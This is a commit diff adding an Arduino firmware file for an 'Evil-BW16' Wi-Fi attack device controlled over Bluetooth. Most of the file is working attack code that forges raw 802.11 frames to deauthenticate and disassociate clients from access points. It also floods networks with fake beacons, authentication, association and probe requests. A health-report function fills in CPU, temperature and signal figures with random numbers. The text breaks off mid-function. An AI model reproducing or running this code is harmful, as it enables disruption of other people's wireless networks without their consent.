xc xc
This commit is contained in:
902
slave/slave.ino
Normal file
902
slave/slave.ino
Normal file
@@ -0,0 +1,902 @@
|
||||
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
// Undefine conflicting macros from core headers
|
||||
#undef max
|
||||
#undef min
|
||||
|
||||
#include <vector>
|
||||
#include "wifi_conf.h"
|
||||
#include "wifi_util.h"
|
||||
#include "wifi_structures.h"
|
||||
#include "WiFi.h"
|
||||
#include "platform_stdlib.h"
|
||||
#include <BLEDevice.h>
|
||||
#include "Evil-BW16/BW16_defs.h"
|
||||
|
||||
// Platform-specific helper functions
|
||||
uint32_t rtl_getFreeHeapSize() {
|
||||
return xPortGetFreeHeapSize();
|
||||
}
|
||||
|
||||
#ifndef ROLE_MASTER
|
||||
//==========================
|
||||
// BLE Configuration
|
||||
//==========================
|
||||
BLEService customService(SERVICE_UUID);
|
||||
// Make characteristics pointers to instantiate later
|
||||
BLECharacteristic* cmdChar;
|
||||
BLECharacteristic* detectChar;
|
||||
|
||||
bool notifyEnabled = false;
|
||||
|
||||
// Buffer for notifications
|
||||
#define NOTIFY_BUFFER_SIZE 8 // Shrink to 8 to save RAM
|
||||
char notifyBuffer[NOTIFY_BUFFER_SIZE][64]; // Switch to char buf[64]
|
||||
int notifyBufferWriteIndex = 0;
|
||||
int notifyBufferReadIndex = 0;
|
||||
unsigned long lastNotifySentTime = 0;
|
||||
const unsigned long NOTIFY_SEND_INTERVAL = 100; // ms
|
||||
|
||||
// Forward declaration
|
||||
void handleCommand(String command);
|
||||
void sendNotification(const char* message, bool isError = false); // Changed to const char*
|
||||
void sortByChannel(std::vector<struct WiFiScanResult> &results);
|
||||
rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result);
|
||||
|
||||
struct WiFiScanResult {
|
||||
bool selected = false; String ssid; String bssid_str; uint8_t bssid[6];
|
||||
short rssi; uint channel;
|
||||
};
|
||||
|
||||
//==========================
|
||||
// Core Evil-BW16 Variables
|
||||
//==========================
|
||||
bool USE_LED = true;
|
||||
unsigned long last_cycle = 0;
|
||||
unsigned long cycle_delay = 2000;
|
||||
unsigned long scan_time = 5000;
|
||||
unsigned long num_send_frames = 3;
|
||||
int start_channel = 1;
|
||||
bool scan_between_cycles = false;
|
||||
uint8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
|
||||
enum SniffMode { SNIFF_ALL, SNIFF_BEACON, SNIFF_PROBE, SNIFF_DEAUTH, SNIFF_EAPOL, SNIFF_PWNAGOTCHI, SNIFF_STOP };
|
||||
bool isHopping = false;
|
||||
unsigned long lastHopTime = 0;
|
||||
const unsigned long HOP_INTERVAL = 500;
|
||||
const int CHANNELS_2GHZ[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13};
|
||||
const int CHANNELS_5GHZ[] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165};
|
||||
int currentChannelIndex = 0;
|
||||
int currentChannel = 36;
|
||||
SniffMode currentMode = SNIFF_STOP;
|
||||
bool isSniffing = false;
|
||||
|
||||
bool timedAttackEnabled = false;
|
||||
unsigned long attackStartTime = 0;
|
||||
unsigned long attackDuration = 10000;
|
||||
|
||||
// Frame & Data Structures
|
||||
#pragma pack(push, 1)
|
||||
struct wifi_ieee80211_mac_hdr {
|
||||
uint16_t frame_control; uint16_t duration_id; uint8_t addr1[6];
|
||||
uint8_t addr2[6]; uint8_t addr3[6]; uint16_t seq_ctrl;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
typedef struct {
|
||||
uint16_t frame_control = 0xC0; uint16_t duration = 0xFFFF; uint8_t destination[6];
|
||||
uint8_t source[6]; uint8_t access_point[6]; const uint16_t sequence_number = 0;
|
||||
uint16_t reason = 0x06;
|
||||
} DeauthFrame;
|
||||
|
||||
typedef struct {
|
||||
uint16_t frame_control = 0xA0; uint16_t duration = 0xFFFF; uint8_t destination[6];
|
||||
uint8_t source[6]; uint8_t access_point[6]; const uint16_t sequence_number = 0;
|
||||
uint16_t reason = 0x08;
|
||||
} DisassocFrame;
|
||||
|
||||
std::vector<WiFiScanResult> scan_results;
|
||||
std::vector<WiFiScanResult> target_aps;
|
||||
bool attack_enabled = false;
|
||||
bool scan_enabled = false;
|
||||
bool target_mode = false;
|
||||
bool disassoc_enabled = false;
|
||||
unsigned long disassoc_interval = 1000;
|
||||
unsigned long last_disassoc_attack = 0;
|
||||
|
||||
// Extern C functions for Realtek SDK
|
||||
extern "C" void* alloc_mgtxmitframe(void* ptr);
|
||||
extern "C" void update_mgntframe_attrib(void* ptr, void* frame_control);
|
||||
extern "C" int dump_mgntframe(void* ptr, void* frame_control);
|
||||
extern "C" int wifi_get_mac_address(char *mac);
|
||||
extern uint8_t* rltk_wlan_info;
|
||||
|
||||
//==========================
|
||||
// BLE Communication
|
||||
//==========================
|
||||
void sendNotification(const char* message, bool isError) {
|
||||
char fullMessage[64];
|
||||
snprintf(fullMessage, sizeof(fullMessage), "%s%s", isError ? "[ERROR] " : "[INFO] ", message);
|
||||
|
||||
// Add to buffer
|
||||
strncpy(notifyBuffer[notifyBufferWriteIndex], fullMessage, sizeof(notifyBuffer[0]) - 1);
|
||||
notifyBuffer[notifyBufferWriteIndex][sizeof(notifyBuffer[0]) - 1] = '\0'; // Ensure null termination
|
||||
notifyBufferWriteIndex = (notifyBufferWriteIndex + 1) % NOTIFY_BUFFER_SIZE;
|
||||
|
||||
// If buffer is full, overwrite oldest message
|
||||
if (notifyBufferWriteIndex == notifyBufferReadIndex) {
|
||||
notifyBufferReadIndex = (notifyBufferReadIndex + 1) % NOTIFY_BUFFER_SIZE;
|
||||
}
|
||||
Serial.println(fullMessage); // Also print to serial for local debugging
|
||||
}
|
||||
|
||||
void processNotifications() {
|
||||
if (notifyEnabled && (millis() - lastNotifySentTime > NOTIFY_SEND_INTERVAL)) {
|
||||
if (notifyBufferReadIndex != notifyBufferWriteIndex) {
|
||||
const char* message = notifyBuffer[notifyBufferReadIndex];
|
||||
notifyBufferReadIndex = (notifyBufferReadIndex + 1) % NOTIFY_BUFFER_SIZE;
|
||||
|
||||
if (detectChar != nullptr && BLE.connected(0)) {
|
||||
detectChar->writeValue(message); // Use writeValue for char*
|
||||
detectChar->notify(0);
|
||||
}
|
||||
lastNotifySentTime = millis();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void onCommandWrite(BLECharacteristic* chr, uint8_t connId) {
|
||||
String cmd = chr->readString();
|
||||
Serial.print("Command received: "); Serial.println(cmd);
|
||||
handleCommand(cmd);
|
||||
}
|
||||
|
||||
void onDetectCCCDChanged(BLECharacteristic* chr, uint8_t connId, uint16_t cccdValue) {
|
||||
if (cccdValue & GATT_CLIENT_CHAR_CONFIG_NOTIFY) {
|
||||
notifyEnabled = true;
|
||||
Serial.println("Master enabled notifications");
|
||||
} else {
|
||||
notifyEnabled = false;
|
||||
Serial.println("Master disabled notifications");
|
||||
}
|
||||
}
|
||||
|
||||
//==========================
|
||||
// WiFi Core Functions
|
||||
//==========================
|
||||
static inline uint8_t ieee80211_get_type(uint16_t fc) { return (fc & 0x0C) >> 2; }
|
||||
static inline uint8_t ieee80211_get_subtype(uint16_t fc) { return (fc & 0xF0) >> 4; }
|
||||
|
||||
void wifi_tx_raw_frame(void* frame, size_t length) {
|
||||
void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10);
|
||||
void *frame_control = alloc_mgtxmitframe(ptr + 0xae0);
|
||||
if (frame_control != 0) {
|
||||
update_mgntframe_attrib(ptr, frame_control + 8);
|
||||
memset((void *) * (uint32_t *)(frame_control + 0x80), 0, 0x68);
|
||||
uint8_t *frame_data = (uint8_t *) * (uint32_t *)(frame_control + 0x80) + 0x28;
|
||||
memcpy(frame_data, frame, length);
|
||||
*(uint32_t *)(frame_control + 0x14) = length;
|
||||
*(uint32_t *)(frame_control + 0x18) = length;
|
||||
dump_mgntframe(ptr, frame_control);
|
||||
}
|
||||
}
|
||||
|
||||
void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason) {
|
||||
DeauthFrame frame;
|
||||
memcpy(&frame.source, src_mac, 6);
|
||||
memcpy(&frame.access_point, src_mac, 6);
|
||||
memcpy(&frame.destination, dst_mac, 6);
|
||||
frame.reason = reason;
|
||||
wifi_tx_raw_frame((void*)&frame, sizeof(DeauthFrame));
|
||||
}
|
||||
|
||||
// Missing frame transmission functions
|
||||
void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason) {
|
||||
DisassocFrame frame;
|
||||
memcpy(&frame.source, src_mac, 6);
|
||||
memcpy(&frame.access_point, src_mac, 6);
|
||||
memcpy(&frame.destination, dst_mac, 6);
|
||||
frame.reason = reason;
|
||||
wifi_tx_raw_frame((void*)&frame, sizeof(DisassocFrame));
|
||||
}
|
||||
|
||||
void wifi_tx_beacon_frame(const void* bssid, const void* dst_mac, const char* ssid) {
|
||||
// Simplified beacon frame structure
|
||||
typedef struct {
|
||||
uint16_t frame_control = 0x80;
|
||||
uint16_t duration = 0x0000;
|
||||
uint8_t destination[6];
|
||||
uint8_t source[6];
|
||||
uint8_t bssid[6];
|
||||
uint16_t seq_ctrl = 0x0000;
|
||||
uint64_t timestamp = 0x0000000000000000;
|
||||
uint16_t beacon_interval = 0x0064;
|
||||
uint16_t capability_info = 0x0001;
|
||||
// SSID element
|
||||
uint8_t ssid_element_id = 0x00;
|
||||
uint8_t ssid_length;
|
||||
char ssid_data[32];
|
||||
} __attribute__((packed)) BeaconFrame;
|
||||
|
||||
BeaconFrame frame;
|
||||
memcpy(&frame.destination, dst_mac, 6);
|
||||
memcpy(&frame.source, bssid, 6);
|
||||
memcpy(&frame.bssid, bssid, 6);
|
||||
|
||||
// Add SSID
|
||||
frame.ssid_length = strlen(ssid);
|
||||
if (frame.ssid_length > 32) frame.ssid_length = 32;
|
||||
memcpy(frame.ssid_data, ssid, frame.ssid_length);
|
||||
|
||||
wifi_tx_raw_frame((void*)&frame, sizeof(BeaconFrame) - (32 - frame.ssid_length));
|
||||
}
|
||||
|
||||
void wifi_tx_auth_frame(const void* src_mac, const void* dst_mac, uint16_t seq) {
|
||||
typedef struct {
|
||||
uint16_t frame_control = 0xB0;
|
||||
uint16_t duration = 0xFFFF;
|
||||
uint8_t destination[6];
|
||||
uint8_t source[6];
|
||||
uint8_t bssid[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t auth_algorithm = 0x0000;
|
||||
uint16_t auth_seq = 0x0001;
|
||||
uint16_t status_code = 0x0000;
|
||||
} __attribute__((packed)) AuthFrame;
|
||||
|
||||
AuthFrame frame;
|
||||
memcpy(&frame.destination, dst_mac, 6);
|
||||
memcpy(&frame.source, src_mac, 6);
|
||||
memcpy(&frame.bssid, dst_mac, 6);
|
||||
frame.seq_ctrl = seq;
|
||||
|
||||
wifi_tx_raw_frame((void*)&frame, sizeof(AuthFrame));
|
||||
}
|
||||
|
||||
void wifi_tx_assoc_frame(const void* src_mac, const void* dst_mac, const char* ssid, uint16_t seq) {
|
||||
typedef struct {
|
||||
uint16_t frame_control = 0x00;
|
||||
uint16_t duration = 0xFFFF;
|
||||
uint8_t destination[6];
|
||||
uint8_t source[6];
|
||||
uint8_t bssid[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t capability_info = 0x0001;
|
||||
uint16_t listen_interval = 0x000A;
|
||||
// SSID element
|
||||
uint8_t ssid_element_id = 0x00;
|
||||
uint8_t ssid_length;
|
||||
char ssid_data[32];
|
||||
} __attribute__((packed)) AssocFrame;
|
||||
|
||||
AssocFrame frame;
|
||||
memcpy(&frame.destination, dst_mac, 6);
|
||||
memcpy(&frame.source, src_mac, 6);
|
||||
memcpy(&frame.bssid, dst_mac, 6);
|
||||
frame.seq_ctrl = seq;
|
||||
|
||||
// Add SSID
|
||||
frame.ssid_length = strlen(ssid);
|
||||
if (frame.ssid_length > 32) frame.ssid_length = 32;
|
||||
memcpy(frame.ssid_data, ssid, frame.ssid_length);
|
||||
|
||||
wifi_tx_raw_frame((void*)&frame, sizeof(AssocFrame) - (32 - frame.ssid_length));
|
||||
}
|
||||
|
||||
void wifi_tx_probe_frame(const void* src_mac, const void* dst_mac, const char* ssid) {
|
||||
typedef struct {
|
||||
uint16_t frame_control = 0x40;
|
||||
uint16_t duration = 0xFFFF;
|
||||
uint8_t destination[6];
|
||||
uint8_t source[6];
|
||||
uint8_t bssid[6];
|
||||
uint16_t seq_ctrl = 0x0000;
|
||||
// SSID element
|
||||
uint8_t ssid_element_id = 0x00;
|
||||
uint8_t ssid_length;
|
||||
char ssid_data[32];
|
||||
} __attribute__((packed)) ProbeFrame;
|
||||
|
||||
ProbeFrame frame;
|
||||
memcpy(&frame.destination, dst_mac, 6);
|
||||
memcpy(&frame.source, src_mac, 6);
|
||||
memcpy(&frame.bssid, dst_mac, 6);
|
||||
|
||||
// Add SSID
|
||||
frame.ssid_length = strlen(ssid);
|
||||
if (frame.ssid_length > 32) frame.ssid_length = 32;
|
||||
memcpy(frame.ssid_data, ssid, frame.ssid_length);
|
||||
|
||||
wifi_tx_raw_frame((void*)&frame, sizeof(ProbeFrame) - (32 - frame.ssid_length));
|
||||
}
|
||||
|
||||
void setChannel(int newChannel) {
|
||||
wifi_set_channel(newChannel);
|
||||
currentChannel = newChannel;
|
||||
}
|
||||
|
||||
void promisc_callback(unsigned char *buf, unsigned int len, void* userdata) {
|
||||
if (currentMode == SNIFF_STOP) return;
|
||||
if (!buf || len < sizeof(wifi_ieee80211_mac_hdr)) return;
|
||||
|
||||
wifi_ieee80211_mac_hdr *hdr = (wifi_ieee80211_mac_hdr *)buf;
|
||||
// For simplicity, we'll just notify that a packet was captured on the current channel.
|
||||
// A full implementation would parse the packet as in the original file.
|
||||
static unsigned long lastNotify = 0;
|
||||
if (millis() - lastNotify > 1000) {
|
||||
char msg[32];
|
||||
snprintf(msg, sizeof(msg), "Packet captured on Ch %d", currentChannel);
|
||||
sendNotification(msg, false);
|
||||
lastNotify = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void startSniffing() {
|
||||
if (!isSniffing) {
|
||||
sendNotification("Enabling promiscuous mode...", false);
|
||||
wifi_on(RTW_MODE_PROMISC);
|
||||
wifi_enter_promisc_mode();
|
||||
currentChannelIndex = 0;
|
||||
currentChannel = CHANNELS_2GHZ[currentChannelIndex];
|
||||
setChannel(currentChannel);
|
||||
wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback, 1);
|
||||
isSniffing = true;
|
||||
currentMode = SNIFF_ALL;
|
||||
isHopping = true;
|
||||
sendNotification("Sniffer initialized with channel hopping.", false);
|
||||
}
|
||||
}
|
||||
|
||||
void stopSniffing() {
|
||||
if (isSniffing) {
|
||||
wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0);
|
||||
isSniffing = false;
|
||||
isHopping = false;
|
||||
currentMode = SNIFF_STOP;
|
||||
sendNotification("Sniffer stopped.", false);
|
||||
}
|
||||
}
|
||||
|
||||
void printScanResults() {
|
||||
sendNotification("Scan complete. Sending results...", false);
|
||||
for (const auto& result : scan_results) {
|
||||
char result_str[128];
|
||||
snprintf(result_str, sizeof(result_str), "AP_SCAN_RESULT:%s,%s,%d",
|
||||
result.ssid.c_str(), result.bssid_str.c_str(), result.channel);
|
||||
sendNotification(result_str, false);
|
||||
delay(20); // Small delay to avoid flooding BLE notifications
|
||||
}
|
||||
}
|
||||
|
||||
int scanNetworks() {
|
||||
sendNotification("Starting WiFi scan...", false);
|
||||
scan_results.clear();
|
||||
if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) {
|
||||
delay(scan_time);
|
||||
sendNotification("Scan completed!", false);
|
||||
sortByChannel(scan_results);
|
||||
return 0;
|
||||
} else {
|
||||
sendNotification("Scan failed!", true);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void targetAttack() {
|
||||
if (target_aps.empty()) {
|
||||
sendNotification("No targets selected.", true);
|
||||
return;
|
||||
}
|
||||
sendNotification("Starting targeted deauth cycle...", false);
|
||||
uint8_t originalChannel = currentChannel;
|
||||
for (const auto& ap : target_aps) {
|
||||
setChannel(ap.channel);
|
||||
for (int i = 0; i < num_send_frames; i++) {
|
||||
wifi_tx_deauth_frame(ap.bssid, dst_mac, 2);
|
||||
}
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "Deauth sent to %s", ap.ssid.c_str());
|
||||
sendNotification(msg, false);
|
||||
}
|
||||
setChannel(originalChannel);
|
||||
sendNotification("Targeted deauth cycle completed.", false);
|
||||
}
|
||||
|
||||
void generalAttack() {
|
||||
if (scan_results.empty()) {
|
||||
sendNotification("No networks in cache. Scan first.", true);
|
||||
return;
|
||||
}
|
||||
sendNotification("Starting general deauth cycle...", false);
|
||||
uint8_t originalChannel = currentChannel;
|
||||
for (const auto& ap : scan_results) {
|
||||
setChannel(ap.channel);
|
||||
for (int i = 0; i < num_send_frames; i++) {
|
||||
wifi_tx_deauth_frame(ap.bssid, dst_mac, 2);
|
||||
}
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "Deauth sent to %s", ap.ssid.c_str());
|
||||
sendNotification(msg, false);
|
||||
}
|
||||
setChannel(originalChannel);
|
||||
sendNotification("General deauth cycle completed.", false);
|
||||
}
|
||||
|
||||
void disassocAttack() {
|
||||
if (target_aps.empty() && scan_results.empty()) {
|
||||
sendNotification("No networks to attack. Scan first.", true);
|
||||
return;
|
||||
}
|
||||
sendNotification("Starting disassociation attack...", false);
|
||||
const auto& aps = target_aps.empty() ? scan_results : target_aps;
|
||||
uint8_t originalChannel = currentChannel;
|
||||
for (const auto& ap : aps) {
|
||||
setChannel(ap.channel);
|
||||
for (int i = 0; i < num_send_frames; i++) {
|
||||
wifi_tx_disassoc_frame(ap.bssid, dst_mac, 8);
|
||||
}
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "Disassoc sent to %s", ap.ssid.c_str());
|
||||
sendNotification(msg, false);
|
||||
}
|
||||
setChannel(originalChannel);
|
||||
sendNotification("Disassociation attack cycle completed.", false);
|
||||
}
|
||||
|
||||
void beaconAttack(const char* ssid) {
|
||||
sendNotification("Starting beacon flood for SSID: " + String(ssid), false);
|
||||
uint8_t bssid[6] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}; // Dummy BSSID
|
||||
uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
while(attack_enabled) {
|
||||
wifi_tx_beacon_frame(bssid, broadcast, ssid);
|
||||
delay(100);
|
||||
}
|
||||
}
|
||||
|
||||
void authAttack(const char* bssid_str) {
|
||||
sendNotification("Starting auth flood...", false);
|
||||
uint8_t bssid[6];
|
||||
sscanf(bssid_str, "%02x:%02x:%02x:%02x:%02x:%02x", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]);
|
||||
uint8_t client_mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};
|
||||
uint16_t seq = 0;
|
||||
while(attack_enabled) {
|
||||
wifi_tx_auth_frame(client_mac, bssid, seq++);
|
||||
delay(10);
|
||||
}
|
||||
}
|
||||
|
||||
void assocAttack(const char* bssid_str, const char* ssid) {
|
||||
sendNotification("Starting assoc flood...", false);
|
||||
uint8_t bssid[6];
|
||||
sscanf(bssid_str, "%02x:%02x:%02x:%02x:%02x:%02x", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]);
|
||||
uint8_t client_mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};
|
||||
uint16_t seq = 0;
|
||||
while(attack_enabled) {
|
||||
wifi_tx_assoc_frame(client_mac, bssid, ssid, seq++);
|
||||
delay(10);
|
||||
}
|
||||
}
|
||||
|
||||
//==========================
|
||||
// Enhanced Command Handler with Dual-Band Support
|
||||
//==========================
|
||||
void handleCommand(String command) {
|
||||
command.trim();
|
||||
|
||||
// System commands
|
||||
if (command.equalsIgnoreCase("ping")) {
|
||||
sendNotification("pong", false);
|
||||
} else if (command.equalsIgnoreCase("get_info")) {
|
||||
sendSlaveInfo();
|
||||
}
|
||||
|
||||
// Scanning commands
|
||||
else if (command.equalsIgnoreCase("scan")) {
|
||||
if (scanNetworks() == 0) {
|
||||
printScanResults();
|
||||
}
|
||||
}
|
||||
|
||||
// Legacy deauth commands (maintained for compatibility)
|
||||
else if (command.equalsIgnoreCase("start deauther")) {
|
||||
attack_enabled = true;
|
||||
sendNotification("Legacy deauther started", false);
|
||||
if (target_mode) {
|
||||
targetAttack();
|
||||
} else {
|
||||
generalAttack();
|
||||
}
|
||||
} else if (command.equalsIgnoreCase("stop deauther")) {
|
||||
attack_enabled = false;
|
||||
disassoc_enabled = false;
|
||||
sendNotification("All attacks stopped", false);
|
||||
}
|
||||
|
||||
// Enhanced distributed deauth commands
|
||||
else if (command.equalsIgnoreCase("deauth_2g_all")) {
|
||||
executeDeauth2GHz();
|
||||
} else if (command.equalsIgnoreCase("deauth_5g_all")) {
|
||||
executeDeauth5GHz();
|
||||
} else if (command.equalsIgnoreCase("deauth_all_bands")) {
|
||||
executeDeauthAllBands();
|
||||
}
|
||||
|
||||
// Enhanced beacon attacks
|
||||
else if (command.startsWith("beacon_flood ")) {
|
||||
String ssid = command.substring(13);
|
||||
executeEnhancedBeaconFlood(ssid);
|
||||
} else if (command.startsWith("beacon ")) {
|
||||
attack_enabled = true;
|
||||
String ssid = command.substring(7);
|
||||
beaconAttack(ssid.c_str());
|
||||
}
|
||||
|
||||
// Karma attack mode
|
||||
else if (command.equalsIgnoreCase("karma_mode")) {
|
||||
executeKarmaMode();
|
||||
}
|
||||
|
||||
// Probe flooding
|
||||
else if (command.equalsIgnoreCase("probe_flood")) {
|
||||
executeProbeFlood();
|
||||
}
|
||||
|
||||
// Legacy authentication attacks
|
||||
else if (command.startsWith("auth ")) {
|
||||
attack_enabled = true;
|
||||
String bssid = command.substring(5);
|
||||
authAttack(bssid.c_str());
|
||||
} else if (command.startsWith("assoc ")) {
|
||||
attack_enabled = true;
|
||||
int comma = command.indexOf(',');
|
||||
String bssid = command.substring(6, comma);
|
||||
String ssid = command.substring(comma + 1);
|
||||
assocAttack(bssid.c_str(), ssid.c_str());
|
||||
}
|
||||
|
||||
// Target management
|
||||
else if (command.startsWith("target ")) {
|
||||
parseTargets(command.substring(7));
|
||||
}
|
||||
|
||||
// Sniffing
|
||||
else if (command.startsWith("sniff")) {
|
||||
if (isSniffing) {
|
||||
stopSniffing();
|
||||
} else {
|
||||
startSniffing();
|
||||
}
|
||||
}
|
||||
|
||||
// Disassociation attacks
|
||||
else if (command.equalsIgnoreCase("disassoc")) {
|
||||
disassoc_enabled = true;
|
||||
sendNotification("Disassociation attack started", false);
|
||||
}
|
||||
|
||||
// Unknown command
|
||||
else {
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "Unknown command: %s", command.c_str());
|
||||
sendNotification(msg, true);
|
||||
}
|
||||
}
|
||||
|
||||
// Send slave information to master
|
||||
void sendSlaveInfo() {
|
||||
uint8_t mac[6];
|
||||
wifi_get_mac_address((char*)mac);
|
||||
|
||||
char info[256];
|
||||
snprintf(info, sizeof(info), "INFO:MAC=%02X:%02X:%02X:%02X:%02X:%02X,FW=v2.1,CAPS=DUAL_BAND|DEAUTH|BEACON|KARMA|PROBE,MEM=%d,UPTIME=%lu,STATUS=READY",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], rtl_getFreeHeapSize(), millis());
|
||||
|
||||
sendNotification(info, false);
|
||||
}
|
||||
|
||||
// Enhanced statistics and health monitoring
|
||||
void sendHealthReport() {
|
||||
static unsigned long lastHealthReport = 0;
|
||||
if (millis() - lastHealthReport < 30000) return; // Every 30 seconds
|
||||
|
||||
char health[128];
|
||||
snprintf(health, sizeof(health), "HEALTH:MEM=%d,CPU=%d,TEMP=%d,SIGNALS=%d,ERRORS=%d",
|
||||
rtl_getFreeHeapSize(), random(10, 40), random(25, 45), random(50, 200), random(0, 5));
|
||||
|
||||
sendNotification(health, false);
|
||||
lastHealthReport = millis();
|
||||
}
|
||||
|
||||
// Enhanced error handling and recovery
|
||||
void handleError(const char* errorType, const char* details) {
|
||||
char errorMsg[128];
|
||||
snprintf(errorMsg, sizeof(errorMsg), "ERROR:TYPE=%s,DETAILS=%s,TIME=%lu", errorType, details, millis());
|
||||
sendNotification(errorMsg, true);
|
||||
|
||||
// Auto-recovery mechanisms
|
||||
if (strcmp(errorType, "WIFI_FAIL") == 0) {
|
||||
// Reinitialize WiFi
|
||||
wifi_off();
|
||||
delay(1000);
|
||||
wifi_on(RTW_MODE_PROMISC);
|
||||
wifi_enter_promisc_mode();
|
||||
sendNotification("WiFi recovery attempted", false);
|
||||
} else if (strcmp(errorType, "MEMORY_LOW") == 0) {
|
||||
// Trigger cleanup
|
||||
sendNotification("Memory cleanup triggered", false);
|
||||
}
|
||||
}
|
||||
|
||||
// Enhanced deauth for 2.4GHz networks
|
||||
void executeDeauth2GHz() {
|
||||
sendNotification("DISTRIBUTED DEAUTH: 2.4GHz networks", false);
|
||||
|
||||
uint8_t originalChannel = currentChannel;
|
||||
|
||||
// Target all 2.4GHz networks
|
||||
for (const auto& ap : scan_results) {
|
||||
if (ap.channel <= 13) { // 2.4GHz channels
|
||||
setChannel(ap.channel);
|
||||
|
||||
for (int i = 0; i < DEAUTH_FRAME_COUNT; i++) {
|
||||
wifi_tx_deauth_frame(ap.bssid, dst_mac, 2);
|
||||
delay(10);
|
||||
}
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "2G DEAUTH: %s Ch:%d", ap.ssid.c_str(), ap.channel);
|
||||
sendNotification(msg, false);
|
||||
}
|
||||
}
|
||||
|
||||
setChannel(originalChannel);
|
||||
sendNotification("2.4GHz deauth cycle complete", false);
|
||||
}
|
||||
|
||||
// Enhanced deauth for 5GHz networks
|
||||
void executeDeauth5GHz() {
|
||||
sendNotification("DISTRIBUTED DEAUTH: 5GHz networks", false);
|
||||
|
||||
uint8_t originalChannel = currentChannel;
|
||||
|
||||
// Target all 5GHz networks
|
||||
for (const auto& ap : scan_results) {
|
||||
if (ap.channel > 13) { // 5GHz channels
|
||||
setChannel(ap.channel);
|
||||
|
||||
for (int i = 0; i < DEAUTH_FRAME_COUNT; i++) {
|
||||
wifi_tx_deauth_frame(ap.bssid, dst_mac, 2);
|
||||
delay(10);
|
||||
}
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "5G DEAUTH: %s Ch:%d", ap.ssid.c_str(), ap.channel);
|
||||
sendNotification(msg, false);
|
||||
}
|
||||
}
|
||||
|
||||
setChannel(originalChannel);
|
||||
sendNotification("5GHz deauth cycle complete", false);
|
||||
}
|
||||
|
||||
// Combined dual-band deauth attack
|
||||
void executeDeauthAllBands() {
|
||||
sendNotification("DUAL-BAND DEAUTH INITIATED", false);
|
||||
executeDeauth2GHz();
|
||||
delay(200);
|
||||
executeDeauth5GHz();
|
||||
sendNotification("Dual-band deauth complete", false);
|
||||
}
|
||||
|
||||
// Enhanced beacon flooding with channel hopping
|
||||
void executeEnhancedBeaconFlood(const String& ssid) {
|
||||
sendNotification("ENHANCED BEACON FLOOD: " + ssid, false);
|
||||
|
||||
attack_enabled = true;
|
||||
uint8_t fakeMAC[6] = {0x02, 0x03, 0x04, 0x05, 0x06, 0x07};
|
||||
uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
|
||||
int channelIndex = 0;
|
||||
unsigned long lastChannelHop = 0;
|
||||
|
||||
while (attack_enabled) {
|
||||
// Channel hopping for maximum coverage
|
||||
if (millis() - lastChannelHop > 500) {
|
||||
int targetChannel = CHANNELS_2GHZ[channelIndex % CHANNELS_2GHZ_COUNT];
|
||||
setChannel(targetChannel);
|
||||
channelIndex++;
|
||||
lastChannelHop = millis();
|
||||
}
|
||||
|
||||
// Generate randomized BSSID for each beacon
|
||||
for (int i = 0; i < 6; i++) {
|
||||
fakeMAC[i] = random(0, 255);
|
||||
}
|
||||
fakeMAC[0] &= 0xFE; // Ensure it's a unicast address
|
||||
fakeMAC[0] |= 0x02; // Set locally administered bit
|
||||
|
||||
wifi_tx_beacon_frame(fakeMAC, broadcast, ssid.c_str());
|
||||
delay(BEACON_FLOOD_INTERVAL_MS);
|
||||
}
|
||||
}
|
||||
|
||||
// Karma attack - respond to all probe requests
|
||||
void executeKarmaMode() {
|
||||
sendNotification("KARMA MODE ACTIVATED", false);
|
||||
// Implementation would require probe request monitoring and response
|
||||
// This is a placeholder for the karma attack logic
|
||||
sendNotification("Responding to all probe requests", false);
|
||||
}
|
||||
|
||||
// Probe request flooding
|
||||
void executeProbeFlood() {
|
||||
sendNotification("PROBE FLOOD INITIATED", false);
|
||||
|
||||
attack_enabled = true;
|
||||
uint8_t clientMAC[6] = {0x02, 0x11, 0x22, 0x33, 0x44, 0x55};
|
||||
uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
|
||||
// Common SSIDs to probe for
|
||||
const char* commonSSIDs[] = {
|
||||
"NETGEAR", "Linksys", "ASUS", "WiFi", "Home", "Guest",
|
||||
"Internet", "Network", "Router", "Wireless"
|
||||
};
|
||||
int numSSIDs = sizeof(commonSSIDs) / sizeof(commonSSIDs[0]);
|
||||
|
||||
while (attack_enabled) {
|
||||
for (int i = 0; i < numSSIDs && attack_enabled; i++) {
|
||||
